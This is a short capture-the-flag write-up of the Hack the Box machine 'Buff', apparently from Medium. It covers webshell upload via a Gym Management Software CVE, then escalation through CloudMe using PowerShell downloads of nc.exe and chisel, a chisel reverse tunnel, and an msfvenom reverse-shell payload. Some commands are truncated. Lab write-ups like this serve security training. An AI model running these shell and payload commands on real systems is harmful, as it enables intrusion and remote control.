Hack the Box: Buff



Nmap scan shown only port 8080 open with HTTP server:

Nmap scan
Main page


There’s a CVE for Gym management Software 1.0. It exploits a possibility to bypass file type filter by setting proper magic bytes and content type to upload a webshell:

Getting a webshell
User flag

Privlege escalation

There’s an interesting port open on localhost:

Open port 8888 on localhost
# tasklist

Image Name PID Session Name Session# Mem Usage
========================= ======== ================ =========== ============
System Idle Process 0 0 8 K
System 4 0 140 K
-- snip --
CloudMe.exe 6640 0 37,704 K
-- snip --
CloudMe 1.11.2
# powershell -nop -c “Invoke-WebRequest -Uri -OutFile C:\xampp\htdocs\gym\upload\nc.exe -Verbose”# powershell -nop -command “iwr “" -Outfile “C:\xampp\htdocs\gym\upload\chisel.exe””
./chisel_1.6.0_linux_386 server -p 4445 -reverse
chisel.exe client R:8888:
msfvenom -a x86 -p windows/exec CMD=’C:\xampp\htdocs\gym\upload\nc.exe 443 -e cmd.exe’ -b ‘\x00\x0a\x0d’ -f python
Root flag



Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store